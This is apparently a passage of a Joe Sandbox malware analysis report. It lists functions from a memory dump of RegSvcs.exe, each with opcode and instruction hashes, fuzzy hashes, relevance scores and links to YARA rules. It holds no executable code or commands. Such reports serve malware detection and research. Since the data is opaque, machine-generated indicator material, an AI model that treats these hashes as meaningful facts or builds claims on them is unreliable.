                                                                • Instruction ID: bc59e06f4cc8a09afa7da1d95d4920508c8b7dfb097916c1de277d3b7b755a61
                                                                • Opcode Fuzzy Hash: c63e14858d57d190ddbbd3f89edc408620ff3c03c425c65eb605a95d6e141f1d
                                                                • Instruction Fuzzy Hash: C2314532A002499FCB15EFA8D4405DEBFF2EF88310B0445AED449A7346EB31AD05DB91
                                                                Function 00FDCA40 Relevance: 1.3, Strings: 1, Instructions: 84COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: L
                                                                • API String ID: 0-3468585435
                                                                • Opcode ID: f8f95acc0960d4c7bdd0244a746a8e43c4b0e0be35133efb07a5bbb39a83eb55
                                                                • Instruction ID: f89a8128a583869767a2fc4c12bdbfff6a5cd2c6e4aa629fe561cb0f00dc9bae
                                                                • Opcode Fuzzy Hash: f8f95acc0960d4c7bdd0244a746a8e43c4b0e0be35133efb07a5bbb39a83eb55
                                                                • Instruction Fuzzy Hash: 9D31E571A012469FDB25DF69C44098EBBF6FF88320B14466ED495AB394DB31ED04CFA0
                                                                Function 00FD4311 Relevance: 1.3, Strings: 1, Instructions: 69COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: J
                                                                • API String ID: 0-2272889499
                                                                • Opcode ID: 706719636ea6fc3c3f3286bfb035a458175dc752ac33ea36956949f22d5c5ac4
                                                                • Instruction ID: 20a8ffbba5d054ad193284cc7fc32ccdeff6ea8fffd8266b26e4e03caa694a52
                                                                • Opcode Fuzzy Hash: 706719636ea6fc3c3f3286bfb035a458175dc752ac33ea36956949f22d5c5ac4
                                                                • Instruction Fuzzy Hash: 2311E3357142464BC705AB7EA8A466F3BA3EFC561070D407FD016DB34AEE74AC078781
                                                                Function 00FD4340 Relevance: 1.3, Strings: 1, Instructions: 54COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: J
                                                                • API String ID: 0-2272889499
                                                                • Opcode ID: d8123461cbf2d589b24adcff101c6af0d95c8d71db112add2147d1e1a64c67f6
                                                                • Instruction ID: ee8b48906b4cd7a548b788f12a1e338f0dd8dc079e5d5358963bc401cc098d7d
                                                                • Opcode Fuzzy Hash: d8123461cbf2d589b24adcff101c6af0d95c8d71db112add2147d1e1a64c67f6
                                                                • Instruction Fuzzy Hash: E201DF36710246578709AB7EA89052F3ADBEBC8B20318803EE11ADB344EE74EC0657D1
                                                                Function 00FD87AC Relevance: 1.3, Strings: 1, Instructions: 47COMMON
                                                                Download Yara Rule
                                                                Strings
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID: \U
                                                                • API String ID: 0-3005333660
                                                                • Opcode ID: 8139d4c3540ae064ea137c7d3152f856b497a69299981d2a621b77a8e647cc3b
                                                                • Instruction ID: fd2cf6a37152e4eb6665a7c486b97152023f15ddf319908c19dcdc8e41b49839
                                                                • Opcode Fuzzy Hash: 8139d4c3540ae064ea137c7d3152f856b497a69299981d2a621b77a8e647cc3b
                                                                • Instruction Fuzzy Hash: CA1136B58007498FCB20DF9AC444BDEBBF4EF88324F24841AD519A7350C3B5A944CFA0
                                                                Function 00FDB4AF Relevance: .4, Instructions: 441COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 337a4b9616696e44d5982be9819fc45da3922f22158782a92886ee39c23d3a67
                                                                • Instruction ID: 46b5b3b82669b31cbc9928ab37c9b8c45b6a961e6f52cfc26ea30987e1f5f256
                                                                • Opcode Fuzzy Hash: 337a4b9616696e44d5982be9819fc45da3922f22158782a92886ee39c23d3a67
                                                                • Instruction Fuzzy Hash: 83027D719093858FDB06CF78C894AD8BFB1EF4A310B1A85D7D494EB362D3349846DB61
                                                                Function 00FD50E0 Relevance: .4, Instructions: 357COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: cbaf5bc776c69b05eefdcff222c26c47cee66aff198ec3ebe224d9d37eb48404
                                                                • Instruction ID: 203bb859e15d89ec23cb723d563079d3086e1afe61d8d2011f78fdf2ede12c27
                                                                • Opcode Fuzzy Hash: cbaf5bc776c69b05eefdcff222c26c47cee66aff198ec3ebe224d9d37eb48404
                                                                • Instruction Fuzzy Hash: D3D1C23140E7C18FD7179B7488942997FB1EF1B250B5E05DBC0C29B2A3D624A84BCB62
                                                                Function 00FDA808 Relevance: .3, Instructions: 310COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 502f14f967c98e7a8584c9109023c0e33c10b1a70d690fd8b33e58bbacbeb953
                                                                • Instruction ID: 472a99d8b6c299e8cc7f5895864dfdbbf7e962dd4fa16252822d8f157195cbb2
                                                                • Opcode Fuzzy Hash: 502f14f967c98e7a8584c9109023c0e33c10b1a70d690fd8b33e58bbacbeb953
                                                                • Instruction Fuzzy Hash: C8D10275A002488FDB05DFA8C484ADDBBF2BF89320F198696E415AB366D770EC45CF61
                                                                Function 00FD516A Relevance: .3, Instructions: 304COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 373106aeaed0df4892c9643b6a86fa6a9a9c7b68ee98689581ec30222667d4ba
                                                                • Instruction ID: 2b10162d6a7b4210c555aaa813cb493e19cbdc5b2b7576aff183abcf35a551ff
                                                                • Opcode Fuzzy Hash: 373106aeaed0df4892c9643b6a86fa6a9a9c7b68ee98689581ec30222667d4ba
                                                                • Instruction Fuzzy Hash: 5AC1D27190A7C18FDB16DF74C8906D97FB2EF4B310B5945DBD0C6AB262C630A84ACB61
                                                                Function 00FDC040 Relevance: .3, Instructions: 298COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 8b1b5cc35fd89bc332532e2a605b2814089148b19465ebeaecbeb72e4d7e04db
                                                                • Instruction ID: e54789af7f87aea98313f7589a295f28de205c63a2be465abadfcfb5fda46a4a
                                                                • Opcode Fuzzy Hash: 8b1b5cc35fd89bc332532e2a605b2814089148b19465ebeaecbeb72e4d7e04db
                                                                • Instruction Fuzzy Hash: 68D1E575A002498FDB15CF68C484A9CBBF2BF49320F298196E845EB365D731ED85DFA0
                                                                Function 00FDB760 Relevance: .3, Instructions: 289COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 37790f4d64a86509681f2ae76db30903e15c2197d8049298fa327e1c0686b698
                                                                • Instruction ID: 736ead5c4bb380a822b086130fc698730eb0fa2b487c4ff269a82faa1b34831c
                                                                • Opcode Fuzzy Hash: 37790f4d64a86509681f2ae76db30903e15c2197d8049298fa327e1c0686b698
                                                                • Instruction Fuzzy Hash: 47D11471A00249CFDB15CF68C484A9CBBF2BF49310F59869AE855AB362C734ED85CF60
                                                                Function 00FD8D2C Relevance: .3, Instructions: 278COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a0d47219e2bd8235bd5fa1885407e007dc114aafced55490350d45ee915f8ba6
                                                                • Instruction ID: bf900b3fcec7e51ca9c49ff9ce5e07364dbc0e76dd109423983c16115136e7a4
                                                                • Opcode Fuzzy Hash: a0d47219e2bd8235bd5fa1885407e007dc114aafced55490350d45ee915f8ba6
                                                                • Instruction Fuzzy Hash: ECB15D70E002498FDB10DFA9D8857DEBBF2BF88754F18812AD815A7394EB749846DF81
                                                                Function 00FD95FC Relevance: .3, Instructions: 264COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 99daaf8e16016bf260aed741a3c36fab043984bd727cdb33eb278c2b3cfed09d
                                                                • Instruction ID: 7059e59bd0aaf046a15af15ad135ea40fcaeaeef6a8936e44a2e75795b0cd88c
                                                                • Opcode Fuzzy Hash: 99daaf8e16016bf260aed741a3c36fab043984bd727cdb33eb278c2b3cfed09d
                                                                • Instruction Fuzzy Hash: 0AB14B70E142098FDB10CFE9D8957DDBBF2BF48724F28812AE815A7354EBB49845DB81
                                                                Function 00FDC030 Relevance: .3, Instructions: 262COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: eb5019a6d586a4a99be3832e835dc742ca9b375a01ef36fc3ffbc56f86b69ded
                                                                • Instruction ID: abe9cd39767e17eeb83b55ad7f1ff88cc84ff804ecbe011dbdc292245a9aca84
                                                                • Opcode Fuzzy Hash: eb5019a6d586a4a99be3832e835dc742ca9b375a01ef36fc3ffbc56f86b69ded
                                                                • Instruction Fuzzy Hash: 77B1E575A002498FDB15CF68C484ADCBBF2AF49320F298195E845EB365D731ED85DFA0
                                                                Function 00FDA3B0 Relevance: .2, Instructions: 241COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: efed7acc1d09f7d41d4df8cc0e95dbf6d114d8374e95397adbe8cdee12129b5a
                                                                • Instruction ID: b7f404dcca7d34316fd2eb9aaceddf4391504cceb72910f46e9090e82e64d794
                                                                • Opcode Fuzzy Hash: efed7acc1d09f7d41d4df8cc0e95dbf6d114d8374e95397adbe8cdee12129b5a
                                                                • Instruction Fuzzy Hash: CBA13671E01259DFCB15CF68D884A9DBBF2BF89310B198196E445AB362D730EC45CB91
                                                                Function 00FDA7F7 Relevance: .2, Instructions: 219COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 49124fe91b2fb2f96d27b7d6f5ad2feda7e4bffe523d06be357fda8c81ddd7e7
                                                                • Instruction ID: 4f7fb5efdc238bec118430d388ddc16aafed2fd2140850a62cf04a8fe86658e6
                                                                • Opcode Fuzzy Hash: 49124fe91b2fb2f96d27b7d6f5ad2feda7e4bffe523d06be357fda8c81ddd7e7
                                                                • Instruction Fuzzy Hash: 35A1F275A002488FDB05DFA8C480ADDBBF2BF89320F198696E455AB366D730ED45CF61
                                                                Function 00FD2830 Relevance: .2, Instructions: 217COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 53bf15c8a4ad8a1bbfcd92f5e10ee1659bd99da3d52bce13ba89dd845a2ea109
                                                                • Instruction ID: 6a0b67b5d1025ef7f5e370fe306052605554091d4eff478106f8abf43e3a0a49
                                                                • Opcode Fuzzy Hash: 53bf15c8a4ad8a1bbfcd92f5e10ee1659bd99da3d52bce13ba89dd845a2ea109
                                                                • Instruction Fuzzy Hash: 1C81B135A006488FCB65CF69C584A9EBBF2FF88320F198195E409BB351DB34EC45DBA0
                                                                Function 00FD52A8 Relevance: .2, Instructions: 194COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 67f479d3e8dfbd8875c9e28890cc2798d8ea26d50e33c1b400e3a60f06b3477f
                                                                • Instruction ID: 1c961db6d67c475ea524f4658eadf30ac616f1bbe23e296f9b8195e0503a04cf
                                                                • Opcode Fuzzy Hash: 67f479d3e8dfbd8875c9e28890cc2798d8ea26d50e33c1b400e3a60f06b3477f
                                                                • Instruction Fuzzy Hash: 8081BE71A01B858FDB25DF25D444A9DBBF2BF89710B28865AE086AB361C730E885CB51
                                                                Function 00FDB751 Relevance: .2, Instructions: 192COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: dcdcfe1d67039c55d581c024dabbb2d571f0af93e1130e2452db6f680ebe447b
                                                                • Instruction ID: 349952646c6d9954024f49efaef3efc393a6671c36911c754046f29849dc31bc
                                                                • Opcode Fuzzy Hash: dcdcfe1d67039c55d581c024dabbb2d571f0af93e1130e2452db6f680ebe447b
                                                                • Instruction Fuzzy Hash: 1981F471A00245CFDB16CF68C480A9CBBF2BF49320F598696E855AB362C734EC45DF60
                                                                Function 00FD9380 Relevance: .2, Instructions: 180COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: c30bd80f622a0bc943c288316680e259157eeecc0f1e32db198f6947eb7d054b
                                                                • Instruction ID: 8153c0bc44defa52a69b588dccb546dc7ff86c04346f4bd7a25a600ff75a30ce
                                                                • Opcode Fuzzy Hash: c30bd80f622a0bc943c288316680e259157eeecc0f1e32db198f6947eb7d054b
                                                                • Instruction Fuzzy Hash: D7715A70E042099FDF10CFE9D88179EBBF2AF88714F18812AE415A7354EBB49842DF81
                                                                Function 00FD9374 Relevance: .2, Instructions: 180COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: fcd048a48ce3b71dd09c7b6b0f83aaaceca204ff4d0128a7903056a46345d86e
                                                                • Instruction ID: d87ebe961c77e4afd95af90271fef1d019901834306509f4ad3e43a0c15d246c
                                                                • Opcode Fuzzy Hash: fcd048a48ce3b71dd09c7b6b0f83aaaceca204ff4d0128a7903056a46345d86e
                                                                • Instruction Fuzzy Hash: 5E715BB0E042099FDF11DFE9D88179EBBF2AF88714F18812AE415A7354DBB49842DF91
                                                                Function 00FD526A Relevance: .2, Instructions: 179COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2daf1120c06af9f7c9c81c7548ab633d57c3d31f57fb2034ba962c5ab4a320c3
                                                                • Instruction ID: f2401a231d89574dabf9796934a39133c251441ffce5d53e9d2f83703e0957d8
                                                                • Opcode Fuzzy Hash: 2daf1120c06af9f7c9c81c7548ab633d57c3d31f57fb2034ba962c5ab4a320c3
                                                                • Instruction Fuzzy Hash: B171D270A057858FDB26CF25D45069DBFF2FF4A710F28469BD086AB362C731A886CB51
                                                                Function 00FDC668 Relevance: .2, Instructions: 168COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a914de08a19479d4335aa5a020269900b58755196855e95b2470fb2d7fb54296
                                                                • Instruction ID: 81e94f0e2c7fa61d2afcc8bd1e23be2a69add78726ef24830b0842975ff61212
                                                                • Opcode Fuzzy Hash: a914de08a19479d4335aa5a020269900b58755196855e95b2470fb2d7fb54296
                                                                • Instruction Fuzzy Hash: FF617D71A017458FDB25CF69C484A8EBBF2BF89310B248A5AD49AEB361D730EC45CF50
                                                                Function 00FD5B60 Relevance: .2, Instructions: 166COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 4b893f2e6a6f0a306fc94acff621a9e73fc3b36c1d2b10f3bc9974374f0c7c80
                                                                • Instruction ID: c8d84dc7db9e0dc9961e92cb5d077e746c294649cfb19b9bff9e888cdd33fca2
                                                                • Opcode Fuzzy Hash: 4b893f2e6a6f0a306fc94acff621a9e73fc3b36c1d2b10f3bc9974374f0c7c80
                                                                • Instruction Fuzzy Hash: 9C516E71F056489FDB14DFB9D884A9EBBF6AF88310F148169E109EB366CA30DC45CB60
                                                                Function 00FD4518 Relevance: .2, Instructions: 154COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2fb2c42c0576d6e3851e5b446e37bb81728f190aee9d06ff398b883f79a67209
                                                                • Instruction ID: de79b62a66ab3b255a66174ef0537cdfa836158c21f5e46356c79b93088dfee8
                                                                • Opcode Fuzzy Hash: 2fb2c42c0576d6e3851e5b446e37bb81728f190aee9d06ff398b883f79a67209
                                                                • Instruction Fuzzy Hash: DE515B31E002198FDB04DBA9D8546EEBBF2EF89310F19816AD406BB354DB70AD45DF90
                                                                Function 00FD3C50 Relevance: .1, Instructions: 148COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: be3f69545dddca953ebcfc86144b704c5c09d4b9419802c96920aa2141d309cb
                                                                • Instruction ID: e000c256aa9559c1f449ceb1316dcba437532a4811001298ec5ed49e9ff4f639
                                                                • Opcode Fuzzy Hash: be3f69545dddca953ebcfc86144b704c5c09d4b9419802c96920aa2141d309cb
                                                                • Instruction Fuzzy Hash: 26515C35B01248DFCB05CF69D594A9DBBF2AF89310F288169F405AB365CB30AD8ACB51
                                                                Function 00FD3EE0 Relevance: .1, Instructions: 147COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 8272bfdbeeefbf59098eab412bd61741a6ae1616dbb782b795a8b08543275468
                                                                • Instruction ID: 67bde72b6766fa8364eee80211e28660810b62d49e786fa039e27520fcba27b5
                                                                • Opcode Fuzzy Hash: 8272bfdbeeefbf59098eab412bd61741a6ae1616dbb782b795a8b08543275468
                                                                • Instruction Fuzzy Hash: 86517D75E0020A9FCB04DFA9D841AEEFBB6FF88310F14816AE619E3351D7749A15CB91
                                                                Function 00FD2C17 Relevance: .1, Instructions: 129COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 46cfadc160ff95b0e589df6818cbbec438fd702ec6a6ff34eac7ca12a07a9b3a
                                                                • Instruction ID: aec3fcc792ca0ba9a9f00e7fa4f65bca174dec6d26ef5afa6b8643db25c74969
                                                                • Opcode Fuzzy Hash: 46cfadc160ff95b0e589df6818cbbec438fd702ec6a6ff34eac7ca12a07a9b3a
                                                                • Instruction Fuzzy Hash: 49519E31A017058FC765CF65C88099EBBF2FF98310B248A5EE49A9B351D730ED45CB90
                                                                Function 00FD6E45 Relevance: .1, Instructions: 92COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: a5617c991684e096537e348dbad184badc19d2a00f7995a806423349c5cb9f60
                                                                • Instruction ID: 1103ca1cc899624c6d01701f52c8aa7e43fc8488aa9d7a07ff6dcc444793e0e7
                                                                • Opcode Fuzzy Hash: a5617c991684e096537e348dbad184badc19d2a00f7995a806423349c5cb9f60
                                                                • Instruction Fuzzy Hash: 5741EEB5D00349DFDB10CFA9C584A9EBBF5BF48314F24802AE809AB354EB75A945CF90
                                                                Function 00FD6291 Relevance: .1, Instructions: 90COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: 2711c0e7652f14b1b9c24e0dd5d252a56cfc1a17d56d411378a31887036cc2c8
                                                                • Instruction ID: 6a8ca184c94074289d11f8b90f02781364473cc1b95cd70e9cee7cd9fb8f7800
                                                                • Opcode Fuzzy Hash: 2711c0e7652f14b1b9c24e0dd5d252a56cfc1a17d56d411378a31887036cc2c8
                                                                • Instruction Fuzzy Hash: 0831CE71F012568FCB54EB79C891A6EBBF2BF88310B18416EE506EB395DE309C029790
                                                                Function 00FD4A51 Relevance: .1, Instructions: 90COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: b90665817ea5fbdf9598e8e577b8c3d134913096dfb0c44b1afafe3977afd6bd
                                                                • Instruction ID: b9567fedab5566f98cedd8e25215561dca30b456c4f4999363b9739dd7c46b53
                                                                • Opcode Fuzzy Hash: b90665817ea5fbdf9598e8e577b8c3d134913096dfb0c44b1afafe3977afd6bd
                                                                • Instruction Fuzzy Hash: 24312B74B101149FCB44DF69D498A9DBBF2BF8C720F29409AE506EB3B2CA719C05CB50
                                                                Function 00FD6E50 Relevance: .1, Instructions: 90COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
                                                                Joe Sandbox IDA Plugin
                                                                • Snapshot File: hcaresult_21_2_fd0000_RegSvcs.jbxd
                                                                Similarity
                                                                • API ID:
                                                                • String ID:
                                                                • API String ID:
                                                                • Opcode ID: f72adb9ff5c0bb0ae483a06d7a20cc6b21c6a5571e4b6b8be9e97576b3195e41
                                                                • Instruction ID: d175972a1336ac39532c87e699046d2e2ff6d3a9695c3cb4f5322ebf02bc833b
                                                                • Opcode Fuzzy Hash: f72adb9ff5c0bb0ae483a06d7a20cc6b21c6a5571e4b6b8be9e97576b3195e41
                                                                • Instruction Fuzzy Hash: 6E41EFB5D00349DFDB10CF99C580A9EBBB5BF48314F24802AE409AB354DB75A945CF90
                                                                Function 00FD39B8 Relevance: .1, Instructions: 89COMMON
                                                                Download Yara Rule
                                                                Memory Dump Source
                                                                • Source File: 00000015.00000002.3435780953.0000000000FD0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00FD0000, based on PE: false
